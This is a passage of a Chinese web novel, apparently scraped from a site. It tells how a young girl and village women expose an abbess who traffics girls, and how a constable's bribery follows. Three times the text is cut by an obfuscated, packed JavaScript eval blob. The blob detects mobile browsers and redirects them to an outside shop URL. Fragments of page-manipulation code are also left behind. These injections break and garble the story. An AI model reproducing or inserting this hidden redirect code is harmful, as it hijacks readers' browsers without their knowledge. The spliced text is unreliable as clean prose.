可怎么进去？屋里有人，且这佛龛必是机关精巧，强撬必会惊动。 正思忖间，忽听屋内传来响动。床上那人翻了个身，含糊嘟囔：“……什么时辰了？” 水仙姑慵懒的声音响起：“早着呢……再睡会儿……” 许娇娇心头一紧，屏息不动。好在片刻后，鼾声又起。 她退到院中，环顾这座吃人的魔窟。一夜未眠的头脑飞速运转，一个大胆的计策渐渐成型。 水仙姑做的这些勾当，之所以能隐瞒至今，无非依仗庵堂偏僻、官府打点、受害者且都是女子，这些被拐来的女孩子年纪小或者家里无人重视，她们就算想伸冤也无处申冤，可若这屏障同时被打破呢？ 若是……有外人大张旗鼓地撞破呢？ 若是闹得人尽皆知，连官府都不敢公然包庇呢？ 许娇娇眼中闪过一丝锐光。 她转身离开水仙庵，没有回茅屋，而是径直往山下走去。旺财跟在她身后，依旧耳朵警惕地竖着。 许娇娇没有回茅屋，而是径直去了落溪村李婆子家。 到了院门口，她深吸一口气才抬手敲门。门里传来李婆子熟悉的声音：“谁呀？来了来了——” 门吱呀一声开了。李婆子正端着一瓢鸡食，见是许娇娇，愣了一下，随即笑起来：“乖囡？怎么这么早就下山来了？快进来！” 许娇娇跟着她进了院子。几只芦花鸡正在地上啄食，见有人来，扑棱着翅膀躲开。李婆子一边把瓢里的鸡食撒进盆里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那是个吃人的地方。”许娇娇咬着嘴唇，把这两日看到的事一五一十说了——静尘被关在石屋，柴房里还藏着两个小姑娘，水仙姑和人贩子勾结，每月都往南边送人…… 她说得又急又快，李婆子听得脸色一阵青一阵白，最后浑身都发起抖来。 “天爷啊……”李婆子瘫坐在凳子上，手捂着胸口，“这、这水仙姑……她怎么敢？那可是菩萨跟前啊！” “阿婆，现在不是怕的时候。”许娇娇蹲在她面前，握住她颤抖的手，“静尘师姐对我有恩，柴房里那两个小姑娘……一个才十岁，一个痴痴傻傻的才八岁。再晚，她们可能就被卖到不知什么地方去了。” 李婆子看着她，眼泪忽然就掉下来了：“可是乖囡……咱们怎么救？咱们一没权二没势，那水仙姑背后还有人……” 所以要找帮手。”许娇娇的眼睛在昏暗里闪着光，“阿婆，您在村里人缘好，认识的人多。能不能……找几个靠得住的叔伯婶子？要胆大心细，嘴巴严实，最好家里也有闺女，最恨这种拐卖孩子的勾当。” 李婆子听完这话，却半天没作声。 她坐在凳子上，手指头无意识地绞着衣角，脸色一阵白一阵青。屋里静得能听见自己的心跳声，咚咚咚地敲着胸口。 不是她不想帮。静尘那孩子她也见过，温温顺顺的一个小尼姑，对娇杏是真好。柴房里那两个不知名的小姑娘……也都是爹娘生养的，遭这种罪，想想就揪心。 可是—— “乖囡啊，”李婆子终于开口，声音都是虚的，“不是阿婆怕事……那水仙姑，能在庵里做这种勾当，背后能没人？万一、万一咱们没救成人，反倒把自个儿搭进去……” 她说着，眼圈又红了：“阿婆老了，死了也就死了。可你也知道我身后还有一大家子人，大郎二郎都还小……还有你，你才多大点？要是出个什么事，阿婆怎么跟你死去的爹娘交代……” 17. 第17章 机智的李阿婆 许娇娇没说话，只是静静看着她。 李婆子避开她的目光，低头盯着自己的鞋尖。那双布鞋还是金桂前年给她做的，鞋底纳得密密实实，鞋面却已经磨得起了毛。 她想起金桂躺在床上疼得直哭的样子，想起二根为了抓药，寒冬腊月还进山打猎，手上冻得全是裂口。好不容易日子有点盼头了，要是再出点事…… 可转念一想，静尘对娇杏的好，她是亲眼见过的。那孩子自己都吃不饱，还省下口粮往山上送。还有柴房里那两个女娃，才那么点大…… 再说了娇杏对金桂有恩，要不是那个药方，还有许大夫……李婆子的手越绞越紧，指甲都掐进了掌心。 半晌，她猛地抬起头。 “罢了！”她像是用尽了全身力气，声音都在发颤，“阿婆……阿婆帮你！” 这话说出来，她自己都吓了一跳，可心里那块大石头，反倒落下了。 “村东头的张婶子，”她掰着手指头，一个个数起来，“男人死得早，自己拉扯闺女长大，最见不得欺负女人孩子的事。西头的王寡妇，泼辣是泼辣，可心肠热，嗓门全村最大，有事她真敢上。还有村口的陈老爹……” 她一连说了七八个人名，都是村里有威望、又吃过亏的。说到后来，声音也不抖了，眼神也坚定了。 “至于耆老那边……”李婆子说到这儿，话头却顿住了，眉头拧成了疙瘩。 她犹豫了半晌，心里暗暗思忖：村里的老耆去年冬天就病得起不来床了，如今族里的事，听说都是他那个在归平县衙当官的侄子张三郎在代管。这张三郎……为人最是圆滑，万事求个稳当，跟衙门里那些差役老爷们走得近。这事儿要是让他知道了，保不准转头就报给县衙——万一县衙里真有水仙姑的人，岂不是打草惊蛇？ 再说了，耆老如今说话也不管用了。他那侄子一心想接位子，巴不得多立些稳妥的功劳。这种救人的险事，他未必肯出头，说不定还要拦着，怕惹祸上身。 李婆子咬了咬牙：“罢了，耆老那里先不声张。等事情办成了，再说也不迟。” 可她转念一想，又觉得不妥。不跟耆老说是一回事，但村里突然聚起这么多人，总得有个由头，不能让人起了疑心。 “这样，”她压低声音对许娇娇道，“一会儿我去叫人，就说……说你要在山里盖个正经的药材棚子，想请几位叔伯婶子帮忙掌掌眼、出出力气。他们都是实诚人，一听是你的事，准来。等人齐了，咱们再关起门来说实话。” 她顿了顿，又叮嘱：“只是这事……到底冒险。等人来了，我得跟他们交代清楚——愿意帮的，咱们一块儿使劲；心里怕的，也不勉强，但嘴巴必须严实，出了这个门，一个字都不能往外漏。” 许娇娇点点头：“阿婆想得周到。” 李婆子叹了口气，伸手摸了摸她的头：“乖囡，阿婆知道你是好心。可这世道……咱们小门小户的，做事不能不多个心眼。你记着，一会儿不管谁来，你都别急着全盘托出，先看阿婆眼色。” 说罢，她整整衣裳，推门走了出去。 李婆子走出门几步，忽然又折返回来，脸色变得凝重。 “不对……”她站在门口，手扶着门框，回头看着屋里的许娇娇，“乖囡，这事……你不能出面。” 许娇娇一愣。 李婆子走回来，重新关上门，压低声音：“你忘了？村里那些人……当初是怎么逼你走的？他们都说你命硬克亲，是恶鬼转世。虽说这几年没人提了，可要是让他们知道是你在牵头救人——” 她没说完，但许娇娇已经明白了。 是了。她现在是娇杏，是那个被全村人赶出村子的祸害。当初那些指指点点的目光、那些砸在身上的石子、那些克死爹娘的恶毒话语……虽然这几年来，她聋哑病好了，且还会治病救人。村里人似乎渐渐淡忘了她的过去，可一旦她重新出现在众人眼前，还是以这种方式—— “他们会信你吗？”李婆子声音发苦，“这几年你治病救人，积攒了多少好名声。可架不住有些坏心眼的人使坏。只怕不但不帮，还会坏事，还要重提旧事，或说你是妖孽作祟，想害更多人。到那时，别说救静尘了，恐怕连你自己都……” 她说不下去了，只是紧紧握住许娇娇的手。 许娇娇沉默片刻，点了点头：“阿婆说得对。我不能露面。” “那这些人……”李婆子犯了难，“我若说是你要救人，他们肯定不信。可若不说实话，又怎么能让他们真心帮忙？” 两人在昏暗的屋里对坐着，一时间谁也没说话。 院外传来几声鸡叫，远处有孩童的嬉闹声。这寻常的村落晨景，此刻却显得格外讽刺——她们要救的人就在山上，可山下的人，却未必愿意伸手。 许娇娇忽然抬起头：“阿婆，您就说……是静尘的前师父，了尘师父托梦给您。” “托梦？” “对。”许娇娇思路渐渐清晰，“您就说，昨夜梦见了尘师父，一身是血，哭着求您救救静尘。醒来后心里不安，又想起平日里听人嘀咕，说水月庵好像不太平……这才想找几个人一起去看看。” 李婆子眼睛一亮：“这个说法好！了尘师父那是多好的人，前些年村里家家都受过她的恩惠，可惜一病没了。静尘那孩子，村里不少人都认得，知道她是个老实的。说了尘师父托梦……乡下人最信这个！” “还有，”许娇娇补充道，“您别提我。就说您心里害怕，一个人不敢去，才想找几个伴儿。至于柴房里那两个女娃的事……先别说，等到了庵里，让她们自己发现。” 李婆子重重点头：“我晓得了。等会儿我去叫人，就照这个说。只是……” 她看着许娇娇：“你不能去，那到时候怎么办？” “我在暗处。”许娇娇低声道，“等你们上山了，我绕小路提前到庵外等着。旺财鼻子灵，能帮我望风。若有什么变故，我也好接应。” 李婆子还想说什么，许娇娇却已经站起身：“阿婆，时间不多了。您快去叫人，我这就回山准备。” “可是乖囡——” “阿婆放心。”许娇娇握住她的手，那双属于九岁孩童的手，此刻却坚定有力，“我有分寸。” 李婆子看着她，眼眶又热了。这孩子……明明才这么点大，却要承担这么多。 她最终什么也没说，只是用力点了点头。 许娇娇悄悄从后门离开了李家。晨光里，她小小的身影很快消失在村巷尽头。 而李婆子站在院里，深深吸了几口气，拍了拍衣裳上的灰，这才朝着村东头走去。 她的脚步依然稳当，心里却沉甸甸的。 这一去，不知会是什么结果。可她知道，有些事，不能因为怕就不做。 就像当年许大郎救了她当家的命一样——有些恩，得还；有些人，得救。 她挺直了腰杆，敲响了张婶子家的门。 第二日，天还没亮透，村里就闹腾起来了。 最先响起来的是张婶子那破锣嗓子：“作孽哟！我昨儿夜里梦见死去的了尘师父了，一身是血地跪在菩萨跟前哭！我问她怎么了，她说她的徒弟静尘有难了，让我设法搭救。一早醒来，我这心口就一直跳，跳得我哟……” 她拍着胸口站在自家门口，声音大得半个村都能听见。几个早起的妇人围过去，七嘴八舌地问怎么回事。 “还能怎么回事？”王寡妇挎着个篮子从西头过来，一脸煞有介事，“我昨儿也梦见庵堂上头黑云压顶的！一早儿我这心里也不得劲。” “李婆子昨日说她也梦见了尘师父和静尘那个小尼姑，我还不相信。可巧昨晚，我也梦到了庵堂。” “哟！你们这一个二个的都做梦梦到庵堂，这可不是好事，莫非庵里真有甚不妥？”有妇人插话。 ”怕是庵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李婆子忙上前，把事情又说了一遍。赵秀才听完，捋着那几根稀疏的胡子沉吟：“佛门清净地，若真有龌龊，确实不该。只是……无凭无据的，这般兴师动众，怕是不妥。” “所以才要去看啊！”张婶子急道，“赵先生您读书明理，跟咱们一块儿去，要真没事，您给作个证；要有事，您给主持公道！” 这话说到了赵秀才心坎上。他清清嗓子：“既然如此，赵某便随诸位走一趟。只是切记，不可鲁莽，一切依理依法。” 一行人就这么浩浩荡荡出了村。李婆子走在最前头，心里扑通扑通直跳。她偷偷往后山方向瞥了一眼——也不知道娇杏那孩子，现在怎么样了。 水月庵还沉浸在清晨的静谧中。 庵门紧闭，连早课的钟声都没敲。众人走到门前，王寡妇上前“哐哐”砸门：“开门！上香来了！” 里头一点动静都没有。 “怪了，”张婶子嘀咕，“往日这时辰，早该开门了。” 赵秀才示意众人安静，自己上前叩门：“庵主可在？落溪村赵某携乡亲前来上香，还请行个方便。” 还是没动静。 陈老爹急了，拐杖在地上重重一顿：“砸开！我孙子说不定就在里头！” “不可不可！”赵秀才连忙拦着，“破门而入，于理不合……” 他话还没说完，庵墙那头的缺口处忽然蹿出个黑影——是旺财。小黑狗冲着人群“汪汪”叫了两声，又扭头往庵里跑，跑几步回头看看，像是在带路。 “这狗……”有人认出来了，“这不是山上那孤女——娇杏养的狗吗？怎么跑这儿来了？” 李婆子心头一紧，知道这是娇杏在示意。她立刻道：“连狗都急成这样，里头肯定有事！咱们从这儿进去看看！” 说着，她带头从那缺口钻了进去。众人见状，也顾不上许多了，一个接一个跟进去。 18. 第18章 水仙姑被捕 庵里静得吓人。 观音殿的门虚掩着，香案上积着灰。院子里落叶也没扫，完全不像平日洒扫干净的模样。 “水仙姑？水仙姑在吗？”张婶子扯着嗓子喊。 还是没人应。 这时，后院忽然传来“哐当”一声脆响，像是瓷器摔碎的声音。众人对视一眼，齐齐往后院涌去。 刚过月亮门，就看见令人瞠目结舌的一幕—— 水仙姑的房门大敞着，屋里一片狼藉。水仙姑衣衫不整地站在床边，脸上脂粉未卸，头发散乱。她身边站着个男人，正是昨日许娇娇看见的那个，此刻正手忙脚乱地系着衣带。 “你、你们……”水仙姑脸色煞白，话都说不利索了。 那男人见这么多人涌进来，吓得魂飞魄散，推开后窗就要跳。王寡妇眼疾手快，抄起门边的扫帚就砸过去：“想跑？！” 男人被砸了个趔趄，也顾不上疼了，连滚带爬翻出窗子，眨眼就消失在竹林里。 “追！”几个年轻后生就要去追。 “别追了！”赵秀才喝道，“先把眼前的事弄清楚！” 他铁青着脸走到水仙姑面前，气得胡子都在抖：“你、你身为庵主，竟在佛门清净地行此苟且之事！成何体统！成何体统！” 水仙姑这会儿反倒镇定了些，拢了拢衣裳，冷笑：“赵秀才这话说的，我这儿是庵堂，可也没规定不能有香客留宿。方才那位是城里的善信，昨夜天晚回不去，借宿一宿罢了。” “借宿？”张婶子啐了一口，“借宿借到一张床上去了？你当我们是瞎子？” “就是！出家人穿绸缎衫，戴金镯子，你这是修的哪门子行？” “我闺女呢？我闺女前年送你这儿来，你说她还俗嫁人了，嫁哪儿去了？” 众人七嘴八舌，水仙姑被问得步步后退，脸上终于露出慌乱。 这时，柴房那头忽然传来弱弱的哭声。陈老爹耳朵尖，拄着拐杖就往那边走：“什么声音？” 水仙姑脸色大变：“不能去！那是、那是……” 已经晚了。王寡妇一把推开柴房门—— 里头蜷着两个小姑娘，大的不过十岁，小的才七八岁模样，都瘦得皮包骨头，身上就裹着层破单衣，冻得瑟瑟发抖。地上扔着半个硬窝头，馊了也没人收。 “天杀的！”张婶子一见就哭了，冲进去抱住那个小的，“这、这不是邻村刘家的傻丫头吗？她娘还说送她来庵里享福……” 大的那个抬起泪眼，声音细得像蚊子：“婶子……救救我们……庵主说，过几日就把我们卖到北边去……” 这话像炸雷一样在人群里炸开。 “卖人？你还卖人？！”“我说我表妹的闺女怎么没音讯了！原来是被你卖了！”“报官！必须报官！” 水仙姑见事情败露，转身就想跑，被几个妇人一把揪住。她挣扎着喊：“你们敢动我？县衙里可有我的人！你们……” “啪！”王寡妇一巴掌扇在她脸上，“我管你县衙里是谁！今天就是天王老子来了，也救不了你！” 赵秀才气得浑身发抖，指着水仙姑：“你、你简直丧尽天良！借佛门之地，行禽兽之事！赵某今日就算拼了这身功名，也要告你个底朝天！” 他转身对众人道：“谁腿脚快，速去县城报官！就说水月庵庵主不但偷人还拐卖人口、玷污佛门，请县尊大人即刻派人来查！” “我去！”一个年轻后生拔腿就跑。 水仙姑瘫坐在地上，面如死灰。 而此刻，后山的石屋前，许娇娇正用从李婆子那里拿来的钥匙，颤抖着手打开那把铜锁。 “师姐，”她推开门，声音轻得像叹息，“没事了。” 静尘从干草堆上抬起头，阳光从门外照进来，刺得她睁不开眼。可那光真暖和啊，暖和得让人想哭。 山下，庵堂里的喧嚣还在继续。而山上，两个身影紧紧相拥，在晨光里静默默无言。 报官的后生叫栓子，是陈老爹的远房侄孙，今年十六，腿脚却快得像阵风。他没走官道，而是抄了山民打柴踩出来的近路，一路连奔带跑，不到两个时辰就冲进了归平县城。 县衙门口，两个公人正靠在石狮子边上打哈欠。栓子气喘吁吁扑过去，话都说不利索了：“差、差爷！出、出大事了！水月庵……水月庵的姑子拐卖人口，还、还养汉子！” 两个公人对视一眼，其中一个瘦高个儿的嗤笑一声，慢悠悠站直身子：“小子，饭可以乱吃，话可不能乱说。水月庵的师父们，那可都是修功德、有体面的人。咱们县里谁不知道，她们年年施粥赠药，帮衬着王大官人做善事，连明府夫人都常去庵里上香祈福。” 他上下打量栓子满是补丁的衣裳，眼神里透出几分轻蔑：“你是什么人？红口白牙就敢攀诬出家人？莫不是想讹诈香火钱想疯了，跑这儿来胡吣？” 旁边那个矮胖的公人也凑过来，叉着腰帮腔：“就是！再在这儿胡咧咧，搅扰衙门清净，小心锁你进去吃几天牢饭，醒醒脑子！”每月还给咱们老爷送香油钱呢。” “是真的！”栓子急得满头大汗，衣领子都湿透了，“村里好几十号人都看见了！庵主屋里藏着男人，柴房里还关着两个小囡，说是要卖到北边去！赵秀才也在，赵秀才让来报官！” 一听“赵秀才”三个字，两个差役脸上的懒散瞬间收了起来。赵秀才是正经读过书的童生，在乡里素有清名，他的话，可不是寻常百姓能比的。 瘦高个儿眯眼盯着栓子看了片刻，对同伴使了个眼色：“你看住他。”转身便快步进了衙门。 约莫一炷香工夫，侧门里传来脚步声。瘦高个儿出来了，身后跟着三个精干公人，领头的是个黑脸膛、身形健硕的都头，腰间挎着铁尺，正是县衙里专管缉捕的孙都头。 孙都头走到栓子跟前，目光如刀子般在他脸上刮过：“赵秀才眼下在何处？你说的那些话，若有半句虚言，衙门里的板子可不长眼，知道么？” 栓子被他看得腿肚子发软，却强撑着挺直背：“都头明鉴！赵秀才带着乡亲们守在水月庵外头，怕里头的人跑了！小子说的句句属实，若有半句假话，到叫那天打雷劈了！” 孙都头盯着他看了两息，猛地一挥手：“带路！” 一行五人出了城，脚步匆匆，直奔东郊的水月庵而去。晌午刚过不多时。 水月庵里闹哄哄的，十分热闹。几十号村民把庵堂前后围得水泄不通，水仙姑被几个妇人扭着，头发散了，衣裳也扯破了，脸上还有个红红的巴掌印。 几个村妇正指指点点，有几个村里的泼皮破落户揣着袖子，带着一脸看热闹不嫌事大的笑。 赵秀才搬了把椅子坐在院中，面前摆着张破桌子，上头摊着纸笔。他正一条条记录村民的证词： “大前年七月初三，我把囡囡送到庵里，说是修行三年。去年我来问，水仙姑说她跟个货郎跑了，再没音讯。” “我表姐家的外甥女，送来时才十二，后来就说病死了，连尸首都没见着。” “我亲眼看见过，夜里有人赶着马车来，往庵里搬箱子。问是什么，水仙姑说是善信捐的米面……” 每记一条，赵秀才的脸就黑一分。等他记到第七八条时，笔都快捏断了。 水仙姑起初还嘴硬，后来见证据越来越多，索性闭了眼，一声不吭。 正乱着，外头传来喝声：“让开！官差办案！” 人群听到声音，急忙分开两边。孙都头带着四个公人走了进来。他环视一圈，目光落在赵秀才身上：“赵先生，怎么回事？” 赵秀才起身行礼，将事情原委说了一遍，又把记下的证词递过去。 孙都头越看眉头皱得越紧。他走到柴房门口，往里看了一眼——那两个小姑娘还蜷在墙角，王寡妇正端了碗热水喂她们。 “庵主何在？”孙都头沉声问。 水仙姑被推上前。她这会儿反倒冷静了，理了理鬓发，开口道：“孙都头，这都是误会。这两个丫头是家里人送来的，说是养不活了，托我照看。至于那些证词……” 她冷笑一声：“乡野村妇，嚼舌根子的话也能信？赵秀才，你好歹是个读书人，就由着她们污蔑出家人？” 赵秀才气得胡子直抖：“人证物证俱在，你还敢狡辩？” “人证？”水仙姑斜眼扫过众人，“都是些跟我有过节的。物证呢？你说我拐卖，卖身契呢？你说我养汉子，汉子呢？” 这话问得众人一窒。是啊，那男人跑了，卖身契也没找着。 孙班头沉吟片刻：“既如此，便请庵主随我等回衙门一趟。若真清白，明府大人自有公断。” “我不去。”水仙姑昂着头，“我一个妇道人家，进了公门，名声还要不要？孙都头，您行行好，就在这儿问。该说的我都说。” 她说着，瞅准机会趁大家不注意，悄悄往孙都头手里塞了个东西。孙都头手指一捻，是块硬硬的、冰凉的是银子。 孙都头面不改色，将银子揣进袖里，语气却缓了些：“庵主说得也有理。这样，赵先生，您把证词给我，我带回去呈给明府。至于庵主……暂且留在庵中，不得外出，等明府定夺。” “这怎么行！”张婶子第一个跳出来，“她要是跑了怎么办？” “就是！都头，您可不能偏心！” 孙都头脸一沉：“官府办案，自有章法！尔等再敢喧哗，以扰乱公务论处！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222029|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 众人被他这么一喝，都噤了声。乡下人到底怕官。 赵秀才却不怕。他上前一步，正色道：“孙都头，此案关系数条人命，岂能如此草率？依学生看，当立即搜查庵堂，寻找更多证据。再者，庵主必须羁押，以防串供或逃匿。” “赵先生，”孙都头皮笑肉不笑，“您是读书人，不懂我们办案的规矩。没有真凭实据，怎能随便搜庵？至于羁押……总要等明府发了话。” 两人正僵持着，后山方向忽然传来喊声：“找到了！找到了！” 众人回头，只见栓子搀着静尘，许娇娇跟在后面，三人从后山小径走了下来。静尘脸色苍白，脚步虚浮，但神色却带着破釜成舟的决绝。 她走到院中，对着孙都头深深一礼：“官爷，贫尼静尘，原是这庵中弟子。贫尼可以作证——水仙姑确与外人勾结，拐卖女子。后山石屋里，还关过不知多少人。柴房那两个孩子，只是其中之二。” 水仙姑看见静尘，眼珠子都要瞪出来了：“你、你个贱人，胡说什么？！” “贫尼没有胡说。”静尘从怀中掏出一个小布包，层层打开，里头是几页泛黄的纸，“这是贫尼这些年偷偷记下的——某年某月，送来几个女孩；某年某月，送走几个。虽不全，也能看出些端倪。” 她又指向佛龛：“那里有暗格，水仙姑的账本、书信，都藏在里面。” 孙都头脸色变了。他盯着那几页纸，又看看佛龛，终于挥手：“搜！” 几个衙役上前，在佛龛上摸索片刻，果然找到机关。暗格弹开，里头整整齐齐码着账册、书信，还有一沓卖身契。 孙都头拿起一本账册翻看，越看脸色越青。上头清清楚楚记着：某年某月，收女孩几名，价几何；某年某月，送往某地，得银多少。最后头还记着打点官府的花销——某某公人多少，某押司多少，连明府大人也赫然在列！ “好、好得很！”孙都头将账册重重摔在地上，指着水仙姑，“给我拿下！” 水仙姑腿一软，瘫倒在地。 两个公人上前给她上了枷锁。她忽然挣扎起来，嘶声道：“孙都头！孙都头你不能这样！宋大人那里……那里我每月都有孝敬！你不能……” “闭嘴！”孙都头厉喝，“再敢胡言，罪加一等！” 他使了个眼色，一个公人急忙掏出块破布，塞进水仙姑嘴里。 院子里一片寂静。 所有人都听到了水仙姑的话，但大家都自行选择遗忘——这样涉及明府宋大人的阴私之事，给他们几个胆子，也不敢置喙。 众人面面相觑。 赵秀才刚要说些什么，却被王寡妇拉了一把。 “赵秀才，既然孙都头已将水仙姑羁押，那就没我们的事了，”她一边说一边给赵秀才使眼色。 赵秀才愣了愣，心里一阵愤愤，可终究还是忍气吞声地咽下脱口欲出的话。 水仙姑像条死狗一样被公人拖起来，押着往外走。 走到门口时，她忽然回头，目光在人群里扫过，最后落在许娇娇和静尘身上。那眼神毒得像蛇，淬着恨，淬着怨。 许娇娇挺直脊背，迎上她的目光，毫不退缩。 水仙姑被押走了。孙都头将账册、书信、卖身契一一收好，又对赵秀才拱手：“赵先生，今日多亏您主持大局。这些证物，孙某带回衙门，定当如实呈报。” 赵秀才还礼：“有劳都头。” 孙都头又看向众人声音严厉，”凡是庵里的尼姑，都要随我们走一趟，录口供，你，说着伸手指向静尘：“你也随我们走一趟，做个证。” 静尘点头：“贫尼理应如此。” 许娇娇上前一步，目光澄澈注视着孙都头，她想开口说话，忽然想起来这里都是原先那些对她有偏见的村民，她若贸然开口，恐怕不但帮不了静尘，反而会因此连累她。 “大胆，”孙都头见是个怯生生的小娘子上前来拦着他，便脸色一沉，声若洪钟：“你一个小娘子快闪开！休要妨碍官府办案！” “大人息怒，”李婆子见许娇娇出面，急忙上前将她拉过来，对着孙都头陪笑，“她不懂事，大人勿怪。” 静尘转身，轻轻抱了抱许娇娇，在她耳边低语：“小施主，不要担心，我走了，你多保重。” 许娇娇眼圈红了，用力拉着她，想要阻拦。可官府办差，她一个小娘子有什么办法？她也听到了水仙姑的攀咬——如若县令大人是清白的，水仙姑绝对不敢说出那样的话。 这世道。 她强忍着没哭，只是小声道：“静尘师姐，你要小心。” 一行人浩浩荡荡离开了水仙庵。村民们在后头跟着，一直送到山口才停下。 19. 第19章 后续 日头偏西，将山峦染成一片金黄。 张婶子抹着眼泪：“总算是……总算是除了这一害。” 王寡妇却啐了一口：“除什么除？那账本上可写着呢，县衙里多少人收了她的钱！这事儿，没完！” 赵秀才叹了口气：“王娘子说得对。此事……怕只是开始。” 众人沉默下来。 是啊，水仙姑是抓了，可她背后的那些人呢？那些收了钱的公人、押司，甚至县令……他们会善罢甘休吗？ 许娇娇站在人群后，望着渐渐暗下来的天色。 她知道，王寡妇说得对。这事，没完。 可至少今天，她们救下了静尘，救下了柴房里那两个女孩。 只是静尘跟着孙都头去做笔录，栓子也跟着去了，应该会没事的吧！ 至于往后…… 她握紧拳头。 兵来将挡，水来土掩。她既然来了这世道，就没想过要躲。 日头斜斜地挂在山脊上，将人的影子拉得老长。村民见水仙姑被带走了，没热闹可看，便慢慢往回走，嘴里还在议论着今日的事，可声音都压得低低的，像是怕被谁听了去。 李婆子走在最后，回头看了许娇娇一眼，欲言又止。最后还是只叹了口气，悄声道：“乖囡，天不早了，你也早些回山上去。夜里关好门，知道吗？” 许娇娇点点头，低声回她：“阿婆放心。” “等过几日，阿婆再去看你。”李婆子又叮嘱了几句，这才跟着人群往村里去。 山道上很快就空了。只剩下许娇娇一个人站在庵门前，看着那两扇紧闭的大门——门上已经贴了封条，红纸黑字，盖着县衙的大印，在暮色里格外刺眼。 她站了一会儿，转身往山上走。旺财紧紧跟在她后面，它似乎也察觉到不对劲，比往日要安静。 回到茅屋时，天已经黑透了。旺财摇着尾巴在她腿边打转。许娇娇摸了摸它的头，进屋点了灯。 火光亮起来的刹那，她忽然觉得这屋子空得厉害。 从前不觉得，可今日经历了这么一场惊心动魄，此刻静下来，才发觉心里某个地方缺了一块——静尘师姐不在，这山里，又只剩她一个人了。 她简单做了点吃的，却没什么胃口。端着碗坐在门槛上，望着黑漆漆的山林发呆。 忽然，她光顾着救静尘，却忘了水仙姑的帮凶静非和那两个婆子了，今日就没见她们的踪影，不会是跑了吧！那个静非一看就不是个省油的灯，是个奸猾狡诈之辈，水仙姑被抓，那个府衙的都头说要羁押水月庵的众尼姑，可最后只拿了水仙姑和静尘。对了还有那个小尼姑静心呢？ 许娇娇想到这里，心里有些着急，这天寒地冻的，水月庵被官府查封，她能去哪里？ 第二日，许娇娇天没亮就醒了。 她打水洗漱，生火做饭，一切如常，却总忍不住朝山下那条小路张望。这一日从早到晚她一直坐在门口等着，可静尘一直没有消息。 日子一天天过去，山下始终没有那个熟悉的身影。她数着墙上的刻痕，从一道添到十几道，心里的石头也一日沉过一日。夜里起风，她会惊醒；白日鸟雀惊飞，她也要到门边瞧一眼。直到那些晒在笸箩里的草药，换了三茬。 到了第十三日晌午，山道上终于有了动静。 许娇娇正在院里翻晒新采的茯苓，听见熟悉的脚步声由远及近，心猛地一提。她抬头望去，手中的簸箕“哐当”一声掉在地上，茯苓滚了一地。 栓子风尘仆仆地走在前头，而他身后那个穿着粗布衣裳、消瘦却眉眼清晰的女子，不是静尘是谁？ “静尘师姐！”许娇娇的喉咙像被什么哽住，喊出的声音带着颤。她什么也顾不上了，冲过去一把抱住静尘，力道大得让两人都晃了晃。鼻尖是熟悉的、混合着皂角与草药的气息，只是又多了一丝牢狱里阴冷的潮气。 静尘也红了眼眶，手指微微发颤，轻轻拍着她的背，声音沙哑却柔和：“没事了，小施主……没事了，我回来了。” 栓子在旁边憨厚地咧嘴笑，露出一口白牙：“赵秀才使了银子，又托了县衙里熟悉的押司说情，昨儿夜里就把人保出来了。衙门那边说，该问的都问完了，没什么大碍，就让领回来了。”他说着搓了搓粗糙的手掌，脸上笑意更深，“既然静尘师父平安到了，那我就赶紧回去给赵秀才报个信，好让他放心。” 他转身欲走，又像想起什么，挠挠头，压低声音对许娇娇道：“娇杏，你会治病救人事如今都传遍了。那天你在李家阿婆屋里，和我阿婆说话，我都听见了。”他嘿嘿笑了两声，眼神诚恳，“你放心，我栓子不是多嘴的人，这事烂在肚子里。我走了，你们……好生歇着，万事小心。” 说完，也不等许娇娇反应，这急性子的少年便像来时一样，转身“噔噔噔”地跑远了。 许娇娇望着他的背影消失在院门外，愣了半晌，才哭笑不得地摇摇头。这栓子…… 她这才松开静尘，退后半步，借着明亮的日光细细打量——脸色虽然仍是失血的苍白，眼下也带着青影，但那双眼睛已不再死寂，有了些微弱的神采。身上那件半旧的粗布衣裳如今皱巴巴的，显然是在牢房里压出来的。 “那些官差……”许娇娇握住她冰凉的手，声音压得极低，带着后怕的余悸，“这十几日……他们可曾为难你？” 静尘摇摇头：“就是问话。问水仙姑的事，问那些被拐的女孩……我都照实说了。孙都头起初还想扣着我，说是要等宋大人发落。后来赵秀才找了人，这才放我出来。” 她顿了顿，声音低下去：“只是……水仙姑的案子，怕是没那么简单。我听见公人们私下议论，说这案子牵扯太大，怕是要压下去。” 许娇娇心里一沉。果然。 “先进屋吧。”她拉着静尘往屋里走，“师姐以后就住这儿，咱们作伴。” 静尘却犹豫了：“这怎么行？我一个出家人，怎能……” “什么出家人不出家人？”许娇娇打断她，“水月庵都没了，你还出什么家？再说了，这山里就咱们两个人，互相照应不是应该的？” 静尘看着她认真的小脸，心头一暖，终于点了点头。 两人刚进屋收拾，外头的旺财忽然“汪汪”叫了起来。 许娇娇忙提起一把柴刀出去看，却见院墙根下蜷着个小小的人影，竟然是那个水月庵的静心。 小尼姑抱着膝盖蹲在那儿，头埋得低低的，听见脚步声，怯生生地抬起头。一张脸瘦得只剩巴掌大，眼睛红肿得像桃子。 “静心？”许娇娇愣了愣，“你怎么在这儿？” 